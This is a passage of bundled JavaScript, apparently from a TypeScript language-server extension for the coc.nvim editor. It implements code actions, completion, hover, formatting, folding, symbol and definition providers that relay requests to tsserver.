const coc_nvim_1 = __webpack_require__(1);
const typeConverters = __importStar(__webpack_require__(82));
function getEditForCodeAction(client, action) {
return action.changes && action.changes.length
? typeConverters.WorkspaceEdit.fromFileCodeEdits(client, action.changes)
: undefined;
}
exports.getEditForCodeAction = getEditForCodeAction;
async function applyCodeAction(client, action) {
const workspaceEdit = getEditForCodeAction(client, action);
if (workspaceEdit) {
if (!(await coc_nvim_1.workspace.applyEdit(workspaceEdit))) {
return false;
}
}
return applyCodeActionCommands(client, action);
}
exports.applyCodeAction = applyCodeAction;
async function applyCodeActionCommands(client, action) {
// make sure there is command
if (action.commands && action.commands.length) {
for (const command of action.commands) {
const response = await client.execute('applyCodeActionCommand', { command }, vscode_languageserver_protocol_1.CancellationToken.None);
if (!response || response.type != 'response' || !response.body) {
return false;
}
}
}
return true;
}
exports.applyCodeActionCommands = applyCodeActionCommands;
/***/ }),
/* 89 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.getParameterListParts = exports.convertCompletionEntry = void 0;
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const PConst = __importStar(__webpack_require__(87));
function convertCompletionEntry(tsEntry, uri, position, context) {
let label = tsEntry.name;
let sortText = tsEntry.sortText;
let preselect = false;
let detail;
if (tsEntry.isRecommended) {
preselect = true;
}
if (tsEntry.source) {
// De-prioritze auto-imports https://github.com/Microsoft/vscode/issues/40311
sortText = '\uffff' + sortText;
}
else {
sortText = tsEntry.sortText;
}
let kind = convertKind(tsEntry.kind);
let insertTextFormat = (context.enableCallCompletions &&
(kind === vscode_languageserver_protocol_1.CompletionItemKind.Function ||
kind === vscode_languageserver_protocol_1.CompletionItemKind.Method)) ? vscode_languageserver_protocol_1.InsertTextFormat.Snippet : vscode_languageserver_protocol_1.InsertTextFormat.PlainText;
let insertText = tsEntry.insertText;
let commitCharacters = getCommitCharacters(tsEntry, context);
let textEdit = null;
if (tsEntry.replacementSpan) {
let { start, end } = tsEntry.replacementSpan;
if (start.line == end.line) {
textEdit = {
range: vscode_languageserver_protocol_1.Range.create(start.line - 1, start.offset - 1, end.line - 1, end.offset - 1),
newText: insertText || label
};
}
}
if (tsEntry.kindModifiers) {
const kindModifiers = new Set(tsEntry.kindModifiers.split(/,|\s+/g));
if (kindModifiers.has(PConst.KindModifiers.optional)) {
insertText = label;
label += '?';
}
if (kindModifiers.has(PConst.KindModifiers.color)) {
kind = vscode_languageserver_protocol_1.CompletionItemKind.Color;
}
if (tsEntry.kind === PConst.Kind.script) {
for (const extModifier of PConst.KindModifiers.fileExtensionKindModifiers) {
if (kindModifiers.has(extModifier)) {
if (tsEntry.name.toLowerCase().endsWith(extModifier)) {
detail = tsEntry.name;
}
else {
detail = tsEntry.name + extModifier;
}
break;
}
}
}
}
return {
label,
insertText,
textEdit,
kind,
preselect,
insertTextFormat,
sortText,
commitCharacters,
detail,
data: {
uri,
position,
name: tsEntry.name,
source: tsEntry.source || ''
}
};
}
exports.convertCompletionEntry = convertCompletionEntry;
function convertKind(kind) {
switch (kind) {
case PConst.Kind.primitiveType:
case PConst.Kind.keyword:
return vscode_languageserver_protocol_1.CompletionItemKind.Keyword;
case PConst.Kind.const:
return vscode_languageserver_protocol_1.CompletionItemKind.Constant;
case PConst.Kind.let:
case PConst.Kind.variable:
case PConst.Kind.localVariable:
case PConst.Kind.alias:
return vscode_languageserver_protocol_1.CompletionItemKind.Variable;
case PConst.Kind.memberVariable:
case PConst.Kind.memberGetAccessor:
case PConst.Kind.memberSetAccessor:
return vscode_languageserver_protocol_1.CompletionItemKind.Field;
case PConst.Kind.function:
return vscode_languageserver_protocol_1.CompletionItemKind.Function;
case PConst.Kind.method:
case PConst.Kind.constructSignature:
case PConst.Kind.callSignature:
case PConst.Kind.indexSignature:
return vscode_languageserver_protocol_1.CompletionItemKind.Method;
case PConst.Kind.enum:
return vscode_languageserver_protocol_1.CompletionItemKind.Enum;
case PConst.Kind.module:
case PConst.Kind.externalModuleName:
return vscode_languageserver_protocol_1.CompletionItemKind.Module;
case PConst.Kind.class:
case PConst.Kind.type:
return vscode_languageserver_protocol_1.CompletionItemKind.Class;
case PConst.Kind.interface:
return vscode_languageserver_protocol_1.CompletionItemKind.Interface;
case PConst.Kind.warning:
case PConst.Kind.script:
return vscode_languageserver_protocol_1.CompletionItemKind.File;
case PConst.Kind.directory:
return vscode_languageserver_protocol_1.CompletionItemKind.Folder;
}
return vscode_languageserver_protocol_1.CompletionItemKind.Variable;
}
function getCommitCharacters(tsEntry, context) {
if (context.isNewIdentifierLocation || !context.isInValidCommitCharacterContext) {
return undefined;
}
const commitCharacters = [];
switch (tsEntry.kind) {
case PConst.Kind.memberGetAccessor:
case PConst.Kind.memberSetAccessor:
case PConst.Kind.constructSignature:
case PConst.Kind.callSignature:
case PConst.Kind.indexSignature:
case PConst.Kind.enum:
case PConst.Kind.interface:
commitCharacters.push('.', ';');
break;
case PConst.Kind.module:
case PConst.Kind.alias:
case PConst.Kind.const:
case PConst.Kind.let:
case PConst.Kind.variable:
case PConst.Kind.localVariable:
case PConst.Kind.memberVariable:
case PConst.Kind.class:
case PConst.Kind.function:
case PConst.Kind.method:
case PConst.Kind.keyword:
case PConst.Kind.parameter:
commitCharacters.push('.', ',', ';');
if (context.enableCallCompletions) {
commitCharacters.push('(');
}
break;
}
return commitCharacters.length === 0 ? undefined : commitCharacters;
}
function getParameterListParts(displayParts) {
const parts = [];
let isInMethod = false;
let hasOptionalParameters = false;
let parenCount = 0;
let braceCount = 0;
outer: for (let i = 0; i < displayParts.length; ++i) {
const part = displayParts[i];
switch (part.kind) {
case PConst.DisplayPartKind.methodName:
case PConst.DisplayPartKind.functionName:
case PConst.DisplayPartKind.text:
case PConst.DisplayPartKind.propertyName:
if (parenCount === 0 && braceCount === 0) {
isInMethod = true;
}
break;
case PConst.DisplayPartKind.parameterName:
if (parenCount === 1 && braceCount === 0 && isInMethod) {
// Only take top level paren names
const next = displayParts[i + 1];
// Skip optional parameters
const nameIsFollowedByOptionalIndicator = next && next.text === '?';
// Skip this parameter
const nameIsThis = part.text === 'this';
if (!nameIsFollowedByOptionalIndicator && !nameIsThis) {
parts.push(part);
}
hasOptionalParameters = hasOptionalParameters || nameIsFollowedByOptionalIndicator;
}
break;
case PConst.DisplayPartKind.punctuation:
if (part.text === '(') {
++parenCount;
}
else if (part.text === ')') {
--parenCount;
if (parenCount <= 0 && isInMethod) {
break outer;
}
}
else if (part.text === '...' && parenCount === 1) {
// Found rest parmeter. Do not fill in any further arguments
hasOptionalParameters = true;
break outer;
}
else if (part.text === '{') {
++braceCount;
}
else if (part.text === '}') {
--braceCount;
}
break;
}
}
return { hasOptionalParameters, parts };
}
exports.getParameterListParts = getParameterListParts;
/***/ }),
/* 90 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.markdownDocumentation = exports.tagsMarkdownPreview = exports.plain = void 0;
const vscode_languageserver_protocol_1 = __webpack_require__(3);
function getTagBodyText(tag) {
if (!tag.text) {
return undefined;
}
switch (tag.name) {
case 'example':
case 'default':
// Convert to markdown code block if it not already one
if (tag.text.match(/^\s*[~`]{3}/g)) {
return tag.text;
}
return '```\n' + tag.text + '\n```';
}
return tag.text;
}
function getTagDocumentation(tag) {
switch (tag.name) {
case 'param':
const body = (tag.text || '').split(/^([\w\.]+)\s*/);
if (body && body.length === 3) {
const param = body[1];
const doc = body[2];
const label = `*@${tag.name}* \`${param}\``;
if (!doc) {
return label;
}
return label + (doc.match(/\r\n|\n/g) ? '\n' + doc : ` — ${doc}`);
}
}
// Generic tag
const label = `*@${tag.name}*`;
const text = getTagBodyText(tag);
if (!text) {
return label;
}
return label + (text.match(/\r\n|\n/g) ? '\n' + text : ` — ${text}`);
}
function plain(parts) {
if (!parts || !parts.length)
return '';
return parts.map(part => part.text).join('');
}
exports.plain = plain;
function tagsMarkdownPreview(tags) {
return (tags || []).map(getTagDocumentation).join(' \n\n');
}
exports.tagsMarkdownPreview = tagsMarkdownPreview;
function markdownDocumentation(documentation, tags) {
let out = plain(documentation);
const tagsPreview = tagsMarkdownPreview(tags);
if (tagsPreview) {
out = out + ('\n\n' + tagsPreview);
}
return {
kind: vscode_languageserver_protocol_1.MarkupKind.Markdown,
value: out
};
}
exports.markdownDocumentation = markdownDocumentation;
/***/ }),
/* 91 */
/***/ ((__unused_webpack_module, exports) => {
"use strict";
Object.defineProperty(exports, "__esModule", ({ value: true }));
class SnippetString {
constructor(value) {
this._tabstop = 1;
this.value = value || '';
}
static isSnippetString(thing) {
if (thing instanceof SnippetString) {
return true;
}
if (!thing) {
return false;
}
return typeof thing.value === 'string';
}
static _escape(value) {
return value.replace(/\$|}|\\/g, '\\$&');
}
appendText(str) {
this.value += SnippetString._escape(str);
return this;
}
appendTabstop(n = this._tabstop++) {
this.value += '$';
this.value += n;
return this;
}
appendPlaceholder(value, n = this._tabstop++) {
if (typeof value === 'function') {
const nested = new SnippetString();
nested._tabstop = this._tabstop;
value(nested);
this._tabstop = nested._tabstop;
value = nested.value;
}
else {
value = SnippetString._escape(value);
}
this.value += '${';
this.value += n;
this.value += ':';
this.value += value;
this.value += '}';
return this;
}
appendVariable(name, defaultValue) {
if (typeof defaultValue === 'function') {
const nested = new SnippetString();
nested._tabstop = this._tabstop;
defaultValue(nested);
this._tabstop = nested._tabstop;
defaultValue = nested.value;
}
else if (typeof defaultValue === 'string') {
defaultValue = defaultValue.replace(/\$|}/g, '\\$&');
}
this.value += '${';
this.value += name;
if (defaultValue) {
this.value += ':';
this.value += defaultValue;
}
this.value += '}';
return this;
}
}
exports.default = SnippetString;
/***/ }),
/* 92 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
const typeConverters = __importStar(__webpack_require__(82));
class TypeScriptDefinitionProvider {
constructor(client) {
this.client = client;
}
async getSymbolLocations(definitionType, document, position, token) {
const filepath = this.client.toPath(document.uri);
if (!filepath) {
return undefined;
}
const args = typeConverters.Position.toFileLocationRequestArgs(filepath, position);
try {
const response = await this.client.execute(definitionType, args, token);
const locations = (response.type == 'response' && response.body) || [];
return locations.map(location => typeConverters.Location.fromTextSpan(this.client.toResource(location.file), location));
}
catch (_a) {
return [];
}
}
provideDefinition(document, position, token) {
return this.getSymbolLocations('definition', document, position, token);
}
provideTypeDefinition(document, position, token) {
return this.getSymbolLocations('typeDefinition', document, position, token);
}
provideImplementation(document, position, token) {
return this.getSymbolLocations('implementation', document, position, token);
}
}
exports.default = TypeScriptDefinitionProvider;
/***/ }),
/* 93 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const coc_nvim_1 = __webpack_require__(1);
const api_1 = __importDefault(__webpack_require__(36));
const tsDirectives = [
{
value: '@ts-check',
description: 'Enables semantic checking in a JavaScript file. Must be at the top of a file.'
},
{
value: '@ts-nocheck',
description: 'Disables semantic checking in a JavaScript file. Must be at the top of a file.'
},
{
value: '@ts-ignore',
description: 'Suppresses @ts-check errors on the next line of a file.'
}
];
const tsDirectives390 = [
...tsDirectives,
{
value: '@ts-expect-error',
description: 'Suppresses @ts-check errors on the next line of a file, expecting at least one to exist.'
}
];
class DirectiveCommentCompletionProvider {
constructor(client) {
this.client = client;
}
provideCompletionItems(document, position, _token, context) {
if (context.triggerCharacter != '@') {
return [];
}
const file = this.client.toPath(document.uri);
if (!file) {
return [];
}
const doc = coc_nvim_1.workspace.getDocument(document.uri);
const line = doc.getline(position.line);
const prefix = line.slice(0, position.character);
const match = prefix.match(/^\s*\/\/+\s?(@[a-zA-Z\-]*)?$/);
if (match) {
const directives = this.client.apiVersion.gte(api_1.default.v390)
? tsDirectives390
: tsDirectives;
let items = directives.map(directive => {
const item = vscode_languageserver_protocol_1.CompletionItem.create(directive.value);
item.kind = vscode_languageserver_protocol_1.CompletionItemKind.Snippet;
item.detail = directive.description;
item.textEdit = {
range: vscode_languageserver_protocol_1.Range.create(position.line, Math.max(0, position.character - (match[1] ? match[1].length : 0)), position.line, position.character),
newText: directive.value
};
return item;
});
let res = {
isIncomplete: false,
items
};
res.startcol = doc.fixStartcol(position, ['@']);
return res;
}
return [];
}
}
exports.default = DirectiveCommentCompletionProvider;
/***/ }),
/* 94 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const arrays_1 = __webpack_require__(34);
const typeConverters = __importStar(__webpack_require__(82));
class TypeScriptDocumentHighlightProvider {
constructor(client) {
this.client = client;
}
async provideDocumentHighlights(resource, position, token) {
const file = this.client.toPath(resource.uri);
if (!file)
return [];
const args = Object.assign(Object.assign({}, typeConverters.Position.toFileLocationRequestArgs(file, position)), { filesToSearch: [file] });
try {
const response = await this.client.execute('documentHighlights', args, token);
if (response.type !== 'response' || !response.body) {
return [];
}
return arrays_1.flatten(response.body
.filter(highlight => highlight.file === file)
.map(convertDocumentHighlight));
}
catch (_e) {
return [];
}
}
}
exports.default = TypeScriptDocumentHighlightProvider;
function convertDocumentHighlight(highlight) {
return highlight.highlightSpans.map(span => {
return {
range: typeConverters.Range.fromTextSpan(span),
kind: span.kind === 'writtenReference' ? vscode_languageserver_protocol_1.DocumentHighlightKind.Write : vscode_languageserver_protocol_1.DocumentHighlightKind.Read
};
});
}
/***/ }),
/* 95 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const PConst = __importStar(__webpack_require__(87));
const typeConverters = __importStar(__webpack_require__(82));
const getSymbolKind = (kind) => {
switch (kind) {
case PConst.Kind.module:
return vscode_languageserver_protocol_1.SymbolKind.Module;
case PConst.Kind.class:
return vscode_languageserver_protocol_1.SymbolKind.Class;
case PConst.Kind.enum:
return vscode_languageserver_protocol_1.SymbolKind.Enum;
case PConst.Kind.interface:
return vscode_languageserver_protocol_1.SymbolKind.Interface;
case PConst.Kind.method:
return vscode_languageserver_protocol_1.SymbolKind.Method;
case PConst.Kind.memberVariable:
return vscode_languageserver_protocol_1.SymbolKind.Property;
case PConst.Kind.memberGetAccessor:
return vscode_languageserver_protocol_1.SymbolKind.Property;
case PConst.Kind.memberSetAccessor:
return vscode_languageserver_protocol_1.SymbolKind.Property;
case PConst.Kind.variable:
return vscode_languageserver_protocol_1.SymbolKind.Variable;
case PConst.Kind.const:
return vscode_languageserver_protocol_1.SymbolKind.Variable;
case PConst.Kind.localVariable:
return vscode_languageserver_protocol_1.SymbolKind.Variable;
case PConst.Kind.variable:
return vscode_languageserver_protocol_1.SymbolKind.Variable;
case PConst.Kind.constructSignature:
case PConst.Kind.constructorImplementation:
case PConst.Kind.function:
case PConst.Kind.localFunction:
return vscode_languageserver_protocol_1.SymbolKind.Function;
}
return vscode_languageserver_protocol_1.SymbolKind.Variable;
};
class TypeScriptDocumentSymbolProvider {
constructor(client) {
this.client = client;
}
async provideDocumentSymbols(resource, token) {
const filepath = this.client.toPath(resource.uri);
if (!filepath)
return [];
const args = {
file: filepath
};
try {
const response = await this.client.execute('navtree', args, token);
if (response.type == 'response' && response.body) {
// The root represents the file. Ignore this when showing in the UI
const tree = response.body;
if (tree.childItems) {
const result = new Array();
tree.childItems.forEach(item => TypeScriptDocumentSymbolProvider.convertNavTree(result, item));
return result;
}
}
return [];
}
catch (e) {
return [];
}
}
static convertNavTree(bucket, item) {
let shouldInclude = TypeScriptDocumentSymbolProvider.shouldInclueEntry(item);
const children = new Set(item.childItems || []);
for (const span of item.spans) {
const range = typeConverters.Range.fromTextSpan(span);
const symbolInfo = vscode_languageserver_protocol_1.DocumentSymbol.create(item.text, '', getSymbolKind(item.kind), range, range);
symbolInfo.children = children.size > 0 ? [] : null;
for (const child of children) {
if (child.spans.some(span => !!containsRange(range, typeConverters.Range.fromTextSpan(span)))) {
const includedChild = TypeScriptDocumentSymbolProvider.convertNavTree(symbolInfo.children, child);
shouldInclude = shouldInclude || includedChild;
children.delete(child);
}
}
if (shouldInclude) {
bucket.push(symbolInfo);
}
}
return shouldInclude;
}
static shouldInclueEntry(item) {
if (item.kind === PConst.Kind.alias) {
return false;
}
return !!(item.text &&
item.text !== '<function>' &&
item.text !== '<class>');
}
}
exports.default = TypeScriptDocumentSymbolProvider;
function containsRange(range, otherRange) {
if (otherRange.start.line < range.start.line || otherRange.end.line < range.start.line) {
return false;
}
if (otherRange.start.line > range.end.line || otherRange.end.line > range.end.line) {
return false;
}
if (otherRange.start.line === range.start.line && otherRange.start.character < range.start.character) {
return false;
}
if (otherRange.end.line === range.end.line && otherRange.end.character > range.end.character) {
return false;
}
return true;
}
/***/ }),
/* 96 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
const coc_nvim_1 = __webpack_require__(1);
const vscode_languageserver_types_1 = __webpack_require__(18);
const typeConverters = __importStar(__webpack_require__(82));
class TypeScriptFoldingProvider {
constructor(client) {
this.client = client;
}
async provideFoldingRanges(document, _context, token) {
const file = this.client.toPath(document.uri);
if (!file) {
return;
}
const args = { file };
const res = await this.client.execute('getOutliningSpans', args, token);
if (res.type != 'response') {
return;
}
const { body } = res;
if (!body) {
return;
}
return body
.map(span => this.convertOutliningSpan(span, document))
.filter(foldingRange => !!foldingRange);
}
convertOutliningSpan(span, document) {
const range = typeConverters.Range.fromTextSpan(span.textSpan);
const kind = TypeScriptFoldingProvider.getFoldingRangeKind(span);
// Workaround for #49904
if (span.kind === 'comment') {
let doc = coc_nvim_1.workspace.getDocument(document.uri);
const line = doc.getline(range.start.line);
if (line.match(/\/\/\s*#endregion/gi)) {
return undefined;
}
}
let { start, end } = range;
return vscode_languageserver_types_1.FoldingRange.create(start.line, end.line, start.character, end.character, kind);
}
static getFoldingRangeKind(span) {
switch (span.kind) {
case 'comment':
case 'region':
case 'imports':
case 'code':
return span.kind;
default:
return undefined;
}
}
}
exports.default = TypeScriptFoldingProvider;
/***/ }),
/* 97 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const coc_nvim_1 = __webpack_require__(1);
const typeConverters = __importStar(__webpack_require__(82));
class TypeScriptFormattingProvider {
constructor(client, formattingOptionsManager) {
this.client = client;
this.formattingOptionsManager = formattingOptionsManager;
}
enabled(document) {
return this.formattingOptionsManager.formatEnabled(document);
}
async doFormat(document, options, args, token) {
if (!this.enabled(document))
return [];
await this.formattingOptionsManager.ensureConfigurationOptions(document, options.insertSpaces, options.tabSize, token);
try {
const response = await this.client.execute('format', args, token);
if (response.type == 'response' && response.body) {
let edits = response.body.map(typeConverters.TextEdit.fromCodeEdit);
return edits;
}
}
catch (_a) {
// noop
}
return [];
}
async provideDocumentRangeFormattingEdits(document, range, options, token) {
if (!this.enabled(document))
return [];
const filepath = this.client.toPath(document.uri);
if (!filepath)
return [];
const args = {
file: filepath,
line: range.start.line + 1,
offset: range.start.character + 1,
endLine: range.end.line + 1,
endOffset: range.end.character + 1
};
return this.doFormat(document, options, args, token);
}
async provideDocumentFormattingEdits(document, options, token) {
if (!this.enabled(document))
return [];
const filepath = this.client.toPath(document.uri);
if (!filepath)
return [];
const args = {
file: filepath,
line: 1,
offset: 1,
endLine: document.lineCount + 1,
endOffset: 1
};
return this.doFormat(document, options, args, token);
}
async provideOnTypeFormattingEdits(document, position, ch, options, token) {
if (!this.enabled(document))
return [];
if (!this.client.configuration.formatOnType)
return [];
const file = this.client.toPath(document.uri);
if (!file)
return [];
await this.formattingOptionsManager.ensureConfigurationOptions(document, options.insertSpaces, options.tabSize, token);
const doc = coc_nvim_1.workspace.getDocument(document.uri);
const args = Object.assign(Object.assign({}, typeConverters.Position.toFileLocationRequestArgs(file, position)), { key: ch });
try {
const res = await this.client.execute('formatonkey', args, token);
if (res.type != 'response') {
return [];
}
const { body } = res;
const edits = body;
const result = [];
if (!edits) {
return result;
}
for (const edit of edits) {
const textEdit = typeConverters.TextEdit.fromCodeEdit(edit);
const range = textEdit.range;
// Work around for https://github.com/Microsoft/TypeScript/issues/6700.
// Check if we have an edit at the beginning of the line which only removes white spaces and leaves
// an empty line. Drop those edits
if (range.start.character === 0 &&
range.start.line === range.end.line &&
textEdit.newText === '') {
const lText = doc.getline(range.start.line);
// If the edit leaves something on the line keep the edit (note that the end character is exclusive).
// Keep it also if it removes something else than whitespace
if (lText.trim().length > 0 || lText.length > range.end.character) {
result.push(textEdit);
}
}
else {
result.push(textEdit);
}
}
return result;
}
catch (_a) {
// noop
}
return [];
}
}
exports.default = TypeScriptFormattingProvider;
/***/ }),
/* 98 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
const previewer_1 = __webpack_require__(90);
const typeConverters = __importStar(__webpack_require__(82));
class TypeScriptHoverProvider {
constructor(client) {
this.client = client;
}
async provideHover(document, position, token) {
const filepath = this.client.toPath(document.uri);
if (!filepath) {
return undefined;
}
const args = typeConverters.Position.toFileLocationRequestArgs(filepath, position);
try {
const response = await this.client.interruptGetErr(() => this.client.execute('quickinfo', args, token));
if (response && response.type == 'response' && response.body) {
const data = response.body;
return {
contents: TypeScriptHoverProvider.getContents(data),
range: typeConverters.Range.fromTextSpan(data)
};
}
}
catch (e) {
// noop
}
return undefined;
}
static getContents(data) {
const parts = [];
if (data.displayString) {
parts.push({ language: 'typescript', value: data.displayString });
}
const tags = previewer_1.tagsMarkdownPreview(data.tags);
parts.push(data.documentation + (tags ? '\n\n' + tags : ''));
return parts;
}
}
exports.default = TypeScriptHoverProvider;
/***/ }),
/* 99 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
const PConst = __importStar(__webpack_require__(87));
const typeConverters = __importStar(__webpack_require__(82));
const baseCodeLensProvider_1 = __webpack_require__(84);
class TypeScriptImplementationsCodeLensProvider extends baseCodeLensProvider_1.TypeScriptBaseCodeLensProvider {
async resolveCodeLens(codeLens, token) {
let { uri } = codeLens.data;
let filepath = this.client.toPath(uri);
const args = typeConverters.Position.toFileLocationRequestArgs(filepath, codeLens.range.start);
try {
const response = await this.client.execute('implementation', args, token, { lowPriority: true });
if (response && response.type == 'response' && response.body) {
const locations = response.body
.map(reference => {
return {
uri: this.client.toResource(reference.file),
range: {
start: typeConverters.Position.fromLocation(reference.start),
end: {
line: reference.start.line,
character: 0
}
}
};
})
// Exclude original from implementations
.filter(location => !(location.uri.toString() === uri &&
location.range.start.line === codeLens.range.start.line &&
location.range.start.character ===
codeLens.range.start.character));
